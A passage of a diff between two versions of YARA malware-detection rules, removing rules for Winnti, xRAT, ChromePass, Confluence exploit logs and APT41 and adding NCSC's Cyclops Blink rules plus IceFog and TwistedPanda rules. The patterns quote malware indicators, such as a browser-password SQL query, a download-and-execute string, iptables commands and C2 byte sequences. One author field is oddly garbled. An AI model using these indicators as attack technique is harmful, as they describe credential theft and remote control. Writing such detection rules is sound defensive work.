-		$u3 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; TERA:" fullword ascii
-		$s1 = "\\system32\\ntoskrnl.exe" ascii
-		$s2 = "Schedsvc.dll" fullword wide
-		$s3 = "dllserver64.dll" fullword ascii
-		$s4 = "C:\\TERA_SR.txt" fullword ascii
-		$s5 = "updatevnsc.dat" fullword wide
-		$s6 = "tera dll service global event" fullword ascii
-		$s7 = "Referer: http://%s/%s" fullword ascii
-		$s8 = "tera replace dll config" fullword ascii
-		$s9 = "SetupDll64.dll" fullword ascii
-		$s10 = "copy %%ComSpec%% \"%s\"" fullword ascii
+		$s3 = "VirtualProtect" fullword
+		$s4 = "RegisterClass"
+		$s5 = "LoadIcon"
+		$s6 = "PsLookupProcessByProcessId" fullword ascii
+		$s7 = "LoadLibraryExA" fullword ascii
+		$s8 = "gSharedInfo" fullword
+		$w1 = "user32.dll" wide
+		$w2 = "ntdll" wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and (1 of ($x*) or all of ($u*) or 8 of them )
+		uint16(0)==0x5a4d and filesize <160KB and all of ($s*) and 1 of ($w*)
 }
-rule SIGNATURE_BASE_Unspecified_Malware_Jul17_1A : FILE
+rule SIGNATURE_BASE_APT_Sandworm_Cyclopsblink_Notable_Strings : FILE
 {
 	meta:
-		description = "Detects samples of an unspecified malware - July 2017"
-		author = "Florian Roth (Nextron Systems)"
-		id = "348515d5-784f-519d-b426-87b8a53de5f3"
-		date = "2017-07-07"
+		description = "Detects notable strings identified within the Cyclops Blink executable"
+		author = "NCSC"
+		id = "81ccf582-41f5-5fe5-8afc-e008e01289ff"
+		date = "2022-02-23"
 		modified = "2023-12-05"
-		reference = "Winnti HDRoot VT"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_winnti_hdroot.yar#L66-L83"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e23af53be3e700055ea6536669065c131e7f674d45e43a389447c8c1f549dee5"
+		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_cyclops_blink.yar#L6-L37"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fdd3a1de9d178370fcc66dbca4628d7bedfbc002bca9e463e11cb444302900ea"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e1c38142b6194237a4cd4603829aa6edb6436e7bba15e3e6b0c9e8c6b629b42b"
+		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
+		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
 
 	strings:
-		$s1 = "%SystemRoot%\\System32\\wuauserv.dll" fullword ascii
-		$s2 = "systemroot%\\system32\\wuauserv.dll" fullword ascii
-		$s3 = "ocgen.logIN" fullword wide
-		$s4 = "ocmsn.logIN" fullword wide
-		$s5 = "Install.log" fullword wide
+		$proc_name1 = "[kworker/0:1]"
+		$proc_name2 = "[kworker/1:1]"
+		$dns_query = "POST /dns-query HTTP/1.1\x0d\x0aHost: dns.google\x0d\x0a"
+		$iptables1 = "iptables -I %s -p tcp --dport %d -j ACCEPT &>/dev/null"
+		$iptables2 = "iptables -D %s -p tcp --dport %d -j ACCEPT &>/dev/null"
+		$sys_recon1 = "{\"ver\":\"%x\",\"mods\";["
+		$sys_recon2 = "uptime: %lu mem_size: %lu mem_free: %lu"
+		$sys_recon3 = "disk_size: %lu disk_free: %lu"
+		$sys_recon4 = "hw: %02x:%02x:%02x:%02x:%02x:%02x"
+		$testpath = "%s/214688dsf46"
+		$confpath = "%s/rootfs_cfg"
+		$downpath = "/var/tmp/a.tmp"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <900KB and all of them )
+		( uint32(0)==0x464c457f) and (8 of them )
 }
-rule SIGNATURE_BASE_Xrat_1 : FILE
+rule SIGNATURE_BASE_APT_Sandworm_Cyclopsblink_Module_Initialisation : FILE
 {
 	meta:
-		description = "Detects Patchwork malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "170c926a-2020-5269-85b8-6fe9ad28ef76"
-		date = "2017-12-11"
+		description = "Detects the code bytes used to initialise the modules built into Cyclops Blink"
+		author = "NCSC"
+		id = "c81b92c4-3f70-5bbd-acfa-ed1e1d33461d"
+		date = "2022-02-23"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/Pg3P4W"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_xrat.yar#L12-L41"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "032c5af4f34959783102977543d2caf6199b8d1880a64797882f591e36c64d69"
+		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_cyclops_blink.yar#L39-L55"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8bde37f642cf07e323beabaacd5c62f8422b451777fc1fc4a6bdf474db49de12"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "92be93ec4cbe76182404af0b180871fbbfa3c7b34e4df6745dbcde480b8b4b3b"
-		hash2 = "f1a45adcf907e660ec848c6086e28c9863b7b70d0d38417dd05a4261973c955a"
+		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
+		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
 
 	strings:
-		$x1 = "\" -CHECK & PING -n 2 127.0.0.1 & EXIT" fullword wide
-		$x2 = "xClient.Core.Elevation" fullword ascii
-		$x3 = ">> Welcome to MAX-Shell :Session created" fullword wide
-		$x4 = "xClient.Properties.Resources.resources" fullword ascii
-		$x5 = "<description>My UAC Compatible application</description>" fullword ascii
-		$s1 = "ping -n 20 localhost > nul" fullword wide
-		$s2 = "DownloadAndExecute" fullword ascii
-		$s3 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36" fullword wide
-		$s4 = "Client.exe" fullword ascii
-		$s5 = "Microsoft -Defender" fullword wide
-		$s6 = "Microsoft- Defender" fullword wide
-		$s7 = "set_RunHidden" fullword ascii
+		$ = {94 21 FF F0 93 E1 00 08 7C 3F 0B 78 38 00 00 ?? 7C 03
+      03 78 81 61 00 00 8E EB FF F8 7D 61 5B 78 4E 80 00 20}
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and (1 of ($x*) or 3 of them )
+		( uint32(0)==0x464c457f) and ( any of them )
 }
-rule SIGNATURE_BASE_Buckeye_Osinfo : FILE
+rule SIGNATURE_BASE_APT_Sandworm_Cyclopsblink_Modified_Install_Upgrade : FILE
 {
 	meta:
-		description = "Detects OSinfo tool used by the Buckeye APT group"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e40a86d1-fd1a-5430-b7b7-8cc7ca128cc5"
-		date = "2016-09-05"
+		description = "Detects notable strings identified within the modified install_upgrade executable, embedded within Cyclops Blink"
+		author = "NCSC"
+		id = "4c4f7262-df74-5f6a-afc0-df1fcae4741c"
+		date = "2022-02-23"
 		modified = "2023-12-05"
-		reference = "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_buckeye.yar#L10-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "782ae4293db0839190a9533d2c45baff92527867bfcd048ccae82611f165601b"
+		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_cyclops_blink.yar#L57-L88"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "69b89dbaf3e2661f376ff1be7c19e96c82bf84fd572fea422c109f8afdd1e5aa"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
+		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
+		hash3 = "7d61c0dd0cd901221a9dff9df09bb90810754f10"
+		hash4 = "438cd40caca70cafe5ca436b36ef7d3a6321e858"
 
 	strings:
-		$s1 = "-s ShareInfo ShareDir" fullword ascii
-		$s2 = "-a Local And Global Group User Info" fullword ascii
-		$s3 = "-f <infile> //input server list from infile, OneServerOneLine" fullword ascii
-		$s4 = "info <\\server> <user>" fullword ascii
-		$s5 = "-c Connect Test" fullword ascii
-		$s6 = "-gd Group Domain Admins" fullword ascii
-		$s7 = "-n NetuseInfo" fullword ascii
+		$ = "/pending/%010lu_%06d_%03d_p1"
+		$ = "/pending/sysa_code_dir/test_%d_%d_%d_%d_%d_%d"
+		$ = "etaonrishdlcupfm"
+		$ = "/pending/WGUpgrade-dl.new"
+		$ = "/pending/bin/install_upgraded"
+		$ = {38 80 4C 00}
+		$ = {38 80 4C 05}
+		$ = {38 80 4C 04}
+		$ = {3C 00 48 4D 60 00 41 43 90 09 00 00}
 
 	condition:
-		uint16(0)==0x5a4d and 3 of ($s*)
+		( uint32(0)==0x464c457f) and (6 of them )
 }
-rule SIGNATURE_BASE_Remotecmd : FILE
+rule SIGNATURE_BASE_APT_Sandworm_Cyclopsblink_Core_Command_Check : FILE
 {
 	meta:
-		description = "Detects a remote access tool used by APT groups - file RemoteCmd.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "384f37f3-4562-5d79-9793-0384c43d4602"
-		date = "2016-09-08"
-		modified = "2022-12-21"
-		reference = "http://goo.gl/igxLyF"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_buckeye.yar#L30-L49"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "873cc02674e386577e86cb9b702265c25dd24b1f203741e8628e30c191dc99e0"
-		score = 75
+		description = "Detects the code bytes used to test the command ID being sent to the core component of Cyclops Blink"
+		author = "NCSC"
+		id = "46066474-7647-52fb-b40d-30ff8e285b6e"
+		date = "2022-02-23"
+		modified = "2023-12-05"
+		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_cyclops_blink.yar#L90-L104"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "71c9da1f0e9e64be87293c985f2a4a59a6c87ffd127ce5104ebe95a0ccb316af"
+		score = 50
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "5264d1de687432f8346617ac88ffcb31e025e43fc3da1dad55882b17b44f1f8b"
+		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
+		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
 
 	strings:
-		$s1 = "RemoteCmd.exe" fullword wide
-		$s2 = "\\Release\\RemoteCmd.pdb" ascii
-		$s3 = "RemoteCmd [ComputerName] [Executable] [Param1] [Param2] ..." fullword wide
-		$s4 = "http://{0}:65101/CommandEngine" fullword wide
-		$s5 = "Brenner.RemoteCmd.Client" fullword ascii
-		$s6 = "$b1888995-1ee5-4f6d-82df-d2ab8ae73d63" fullword ascii
+		$cmd_check = {81 3F 00 18 88 09 00 05 54 00 06 3E 2F 80 00 (07|0A|0B|0C|0D) }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <50KB and 2 of them ) or (4 of them )
+		( uint32(0)==0x464c457f) and (#cmd_check==5)
 }
-rule SIGNATURE_BASE_Chromepass : FILE
+rule SIGNATURE_BASE_APT_Sandworm_Cyclopsblink_Config_Identifiers : FILE
 {
 	meta:
-		description = "Detects a tool used by APT groups - file ChromePass.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "950b9761-bdfd-514b-90ea-a1454d35ce5a"
-		date = "2016-09-08"
-		modified = "2022-12-21"
-		reference = "http://goo.gl/igxLyF"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_buckeye.yar#L51-L76"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "277b7cee2bf70b5141b6ee8a566f1d9bc5dc4555fc14c929d5255151ddca77dd"
+		description = "Detects the initial characters used to identify Cyclops Blink configuration data"
+		author = "NCSC"
+		id = "db5b3a4a-82c2-500a-88f6-340b3392eac8"
+		date = "2022-02-23"
+		modified = "2023-12-05"
+		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_cyclops_blink.yar#L106-L126"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6fa39442d717a69dd6f31a4bb2e5865c3f16156ce24a2b419d95ed751bb0d8ee"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "5ff43049ae18d03dcc74f2be4a870c7056f6cfb5eb636734cca225140029de9a"
+		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
+		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
 
 	strings:
-		$x1 = "\\Release\\ChromePass.pdb" ascii
-		$x2 = "Windows Protect folder for getting the encryption keys" wide
-		$x3 = "Chrome User Data folder where the password file is stored" wide
-		$s1 = "Opera Software\\Opera Stable\\Login Data" fullword wide
-		$s2 = "Yandex\\YandexBrowser\\User Data\\Default\\Login Data" fullword wide
-		$s3 = "Load the passwords from another Windows user or external drive: " fullword wide
-		$s4 = "Chrome Passwords List!Select the windows profile folder" fullword wide
-		$s5 = "Load the passwords of the current logged-on user" fullword wide
-		$s6 = "Windows Login Password:" fullword wide
-		$s7 = "SELECT origin_url, action_url, username_element, username_value, password_element, password_value, signon_realm, date_created fr" ascii
-		$s8 = "Chrome Password Recovery" fullword wide
+		$ = {3C 00 3C 6B 60 00 3A 20 90 09 00 00}
+		$ = {3C 00 3C 63 60 00 3A 20 90 09 00 00}
+		$ = {3C 00 3C 73 60 00 3A 20 90 09 00 00}
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <700KB and 1 of ($x*)) or (5 of them )
+		( uint32(0)==0x464c457f) and ( all of them )
 }
-rule SIGNATURE_BASE_LOG_EXPL_Confluence_RCE_CVE_2021_26084_Sep21 : LOG CVE_2021_26084
+rule SIGNATURE_BASE_APT_Sandworm_Cyclopsblink_Handle_Mod_0Xf_Command : FILE
 {
 	meta:
-		description = "Detects exploitation attempts against Confluence servers abusing a RCE reported as CVE-2021-26084"
-		author = "Florian Roth (Nextron Systems)"
-		id = "bbf98ce4-d32b-541a-b727-bc35c9aaef53"
-		date = "2021-09-01"
+		description = "Detects the code bytes used to check module ID 0xf control flags and a format string used for file content upload"
+		author = "NCSC"
+		id = "36646b7a-389d-5fd9-88a1-e43e7224763a"
+		date = "2022-02-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_cve_2021_26084_confluence_log.yar#L2-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "04542570b4814efde3d96ba5be8b5f9fd6e3c51be09f0e8a1c4eba45bfd8f5ff"
-		score = 55
+		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_cyclops_blink.yar#L128-L150"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6e3eebe404c8cd24e1e16eb3c881b1eda78ba6b365bf89c2557329e6f89396ac"
+		score = 75
 		quality = 85
-		tags = "LOG, CVE-2021-26084"
+		tags = "FILE"
+		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
+		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
 
 	strings:
-		$xr1 = /isSafeExpression Unsafe clause found in \['[^\n]{1,64}\\u0027/ ascii wide
-		$xs1 = "[util.velocity.debug.DebugReferenceInsertionEventHandler] referenceInsert resolving reference [$!queryString]"
-		$xs2 = "userName: anonymous | action: createpage-entervariables ognl.ExpressionSyntaxException: Malformed OGNL expression: '\\' [ognl.TokenMgrError: Lexical error at line 1"
-		$sa1 = "GET /pages/doenterpagevariables.action"
-		$sb1 = "%5c%75%30%30%32%37"
-		$sb2 = "\\u0027"
-		$sc1 = " ERROR "
-		$sc2 = " | userName: anonymous | action: createpage-entervariables"
-		$re1 = /\[confluence\.plugins\.synchrony\.SynchronyContextProvider\] getContextMap (\n )?-- url: \/pages\/createpage-entervariables\.action/
+		$ = {54 00 06 3E 54 00 07 FE 54 00 06 3E 2F 80 00 00}
+		$ = {54 00 06 3E 54 00 07 BC 2F 80 00 00}
+		$ = {54 00 06 3E 54 00 07 7A 2F 80 00 00}
+		$ = {54 00 06 3E 54 00 06 F6 2F 80 00 00}
+		$ = "file:%s\n" fullword
 
 	condition:
-		1 of ($x*) or ($sa1 and 1 of ($sb*)) or ( all of ($sc*) and $re1)
+		( uint32(0)==0x464c457f) and ( all of them )
 }
-rule SIGNATURE_BASE_Scarcruft_Malware_Feb18_1 : FILE
+rule SIGNATURE_BASE_APT_Sandworm_Cyclopsblink_Default_Config_Values : FILE
 {
 	meta:
-		description = "Detects Scarcruft malware - February 2018"
-		author = "Florian rootpath"
-		id = "43a87f2a-cf60-5035-8d40-c360a789a1ac"
-		date = "2018-02-03"
+		description = "Detects the code bytes used to set default Cyclops Blink configuration values"
+		author = "NCSC"
+		id = "04067609-1173-51f2-907f-2a236aae6c7c"
+		date = "2022-02-23"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/craiu/status/959477129795731458"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_scarcruft.yar#L2-L15"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fa1ed130518a2096bd731dce917512d560160e271ad8f0ccd57fbedd478a5502"
-		score = 90
+		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_cyclops_blink.yar#L152-L174"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "180993057c110c0c0327b673c6d6e251534012de51cf6475838691e0942a1aa8"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
+		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
 
 	strings:
-		$x1 = "d:\\HighSchool\\version 13\\2ndBD\\T+M\\" ascii
-		$x2 = "cmd.exe /C ping 0.1.1.2" wide
+		$ = {38 00 00 19 90 09 01 A4}
+		$ = {3C 00 00 01 60 00 80 00 90 09 01 A8}
+		$ = {38 00 40 00 90 09 01 AC}
+		$ = {38 00 01 0B 90 09 01 B0}
+		$ = {38 00 27 11 90 09 01 C0}
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and 1 of them
+		( uint32(0)==0x464c457f) and (3 of them )
 }
-import "pe"
+rule SIGNATURE_BASE_APT_Sandworm_Cyclopsblink_Handle_Mod_0X51_Command : FILE
+{
+	meta:
+		description = "Detects the code bytes used to check commands sent to module ID 0x51 and notable strings relating to the Cyclops Blink update process"
+		author = "NCSC"
+		id = "a6800aed-27dc-5d01-b005-1eb4a62344a3"
+		date = "2022-02-23"
+		modified = "2023-12-05"
+		reference = "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sandworm_cyclops_blink.yar#L176-L200"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8a68f4a5f5b7a45819e9a198881aa41b75a65181b63788c8b824b339bfd6fc67"
+		score = 75
+		quality = 85
+		tags = "FILE"
+		hash1 = "3adf9a59743bc5d8399f67cab5eb2daf28b9b863"
+		hash2 = "c59bc17659daca1b1ce65b6af077f86a648ad8a8"
 
-rule SIGNATURE_BASE_APT_APT41_POISONPLUG_3 : FILE
+	strings:
+		$cmd_check = {88 1F [2] 54 00 06 3E 2F 80 00 (01|02|03) }
+		$path1 = "/etc/wg/configd-hash.xml"
+		$path2 = "/etc/wg/config.xml"
+		$mnt_arg1 = "ext2"
+		$mnt_arg2 = "errors=continue"
+		$mnt_arg3 = {38 C0 0C 20}
+		$mnt_arg4 = {38 C0 0C 21}
+
+	condition:
+		( uint32(0)==0x464c457f) and (#cmd_check==3) and ((@cmd_check[3]-@cmd_check[1])<0x200) and ( all of ($path*)) and ( all of ($mnt_arg*))
+}
+rule SIGNATURE_BASE_Icefog_Malware_Feb18_1 : FILE
 {
 	meta:
-		description = "Detects APT41 malware POISONPLUG"
+		description = "Detects IceFog malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e150dd69-c611-53de-9c7d-de28d3a208dc"
-		date = "2019-08-07"
+		id = "ce8e3a9b-9f4b-534c-983d-bb5490da5768"
+		date = "2018-02-26"
+		modified = "2023-01-06"
+		reference = "https://twitter.com/ClearskySec/status/968104465818669057"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_icefog.yar#L11-L32"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8bba0f7f6f6aad6586c2c5ed29f30514d2f88703134f331724cc2ff86ccffe87"
+		score = 75
+		quality = 85
+		tags = "FILE"
+		hash1 = "480373cffc4e60aa5be2954a156e37d689b92e6e33969958230f2ce59d30b9ec"
+
+	strings:
+		$s1 = "cmd /c %c%s%c" fullword ascii
+		$s2 = "temp.bat" fullword ascii
+		$s3 = "c:\\windows\\debug\\wia\\help" fullword wide
+		$s4 = "/getorder.aspx?hostname=" fullword wide
+		$s5 = "\\filecfg_temp.dat" wide
+		$s6 = "Unknown operating system " fullword wide
+		$s7 = "kastygost.compress.to" fullword wide
+		$s8 = "/downloads/" wide
+		$s9 = "\\key.dat" wide
+
+	condition:
+		uint16(0)==0x5a4d and filesize <2000KB and 4 of them
+}
+rule SIGNATURE_BASE_APT_CN_Twistedpanda_Loader : FILE
+{
+	meta:
+		description = "Detects loader used by TwistedPanda"
+		author = "Check Point Research"
+		id = "a10f6019-f069-579c-b112-18537a7d8fd8"
+		date = "2022-04-14"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt41.yar#L14-L31"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b74b89ac382b2b839c169cd1388d86888172f133091afd079ec42c9380935fdc"
+		reference = "https://research.checkpoint.com/2022/twisted-panda-chinese-apt-espionage-operation-against-russians-state-owned-defense-institutes/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cn_twisted_panda.yar#L1-L44"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b6b3892432be4bd8dfd44f08c124865c54d5ad2dc90b630072f19f7144d33555"
 		score = 80
 		quality = 85
 		tags = "FILE"
-		hash1 = "70c03ce5c80aca2d35a5555b0532eedede24d4cc6bdb32a2c8f7e630bba5f26e"
+		hash1 = "5b558c5fcbed8544cb100bd3db3c04a70dca02eec6fedffd5e3dcecb0b04fba0"
+		hash2 = "efa754450f199caae204ca387976e197d95cdc7e83641444c1a5a91b58ba6198"
 
 	strings:
-		$s1 = "Rundll32.exe \"%s\", DisPlay 64" fullword ascii
-		$s2 = "tcpview.exe" fullword ascii
-		$s3 = "nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\erawtfoS" fullword ascii
-		$s4 = "AxEeulaVteSgeR" fullword ascii
-		$s5 = "%04d-%02d-%02d_%02d-%02d-%02d.dmp" fullword ascii
+		$seq1 = { 6A 40 68 00 30 00 00 }
+		$seq2 = { 6A 00 50 6A 14 8D ?? ?? ?? ?? ?? 50 53 FF }
+		$seq3 = { 6A 00 6A 00 6A 03 6A 00 6A 03 68 00 00 00 80 }
+		$decryption = { 8B C? [2-3] F6 D? 1A C? [2-3] [2-3] 30 0? ?? 4? }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <900KB and 3 of them
+		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and filesize <3000KB and all of ($seq*) and $decryption
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_APT41_POISONPLUG_SHADOW : FILE
+rule SIGNATURE_BASE_APT_CN_Twistedpanda_SPINNER_1 : FILE
 {
 	meta:
-		description = "Detects APT41 malware POISONPLUG SHADOW"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e150dd69-c611-53de-9c7d-de28d3a208dc"
-		date = "2019-08-07"
+		description = "Detects the obfuscated variant of SPINNER payload used by TwistedPanda"
+		author = "Check Point Research"
+		id = "0b44013d-0caa-5ea2-ab08-e2a6a5732c03"
+		date = "2022-04-14"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2019/08/apt41-dual-espionage-and-cyber-crime-operation.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt41.yar#L33-L44"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fc923c7e85f3870e08a077b344e575d3c349fa02f3d218a9a7ec31992f14866b"
-		score = 85
+		reference = "https://research.checkpoint.com/2022/twisted-panda-chinese-apt-espionage-operation-against-russians-state-owned-defense-institutes/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cn_twisted_panda.yar#L46-L80"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e7abe4b3f4225596131882a9175f9ac2e45ba00557950772a8e4d1eaeab97d05"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		hash1 = "462a02a8094e833fd456baf0a6d4e18bb7dab1a9f74d5f163a8334921a4ffde8"
+		hash1 = "a9fb7bb40de8508606a318866e0e5ff79b98f314e782f26c7044622939dfde81"
+
+	strings:
+		$config_init = { C7 ?? ?? ?? 00 00 00 C7 ?? ?? ?? 00 00 00 C6 }
+		$c2_cmd_1 = { 01 00 03 10}
+		$c2_cmd_2 = { 02 00 01 10}
+		$c2_cmd_3 = { 01 00 01 10}
+		$decryption = { 8D 83 [4] 80 B3 [5] 89 F1 6A 01 50 E8 [4] 80 B3 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and pe.imphash()=="c67de089f2009b21715744762fc484e8"
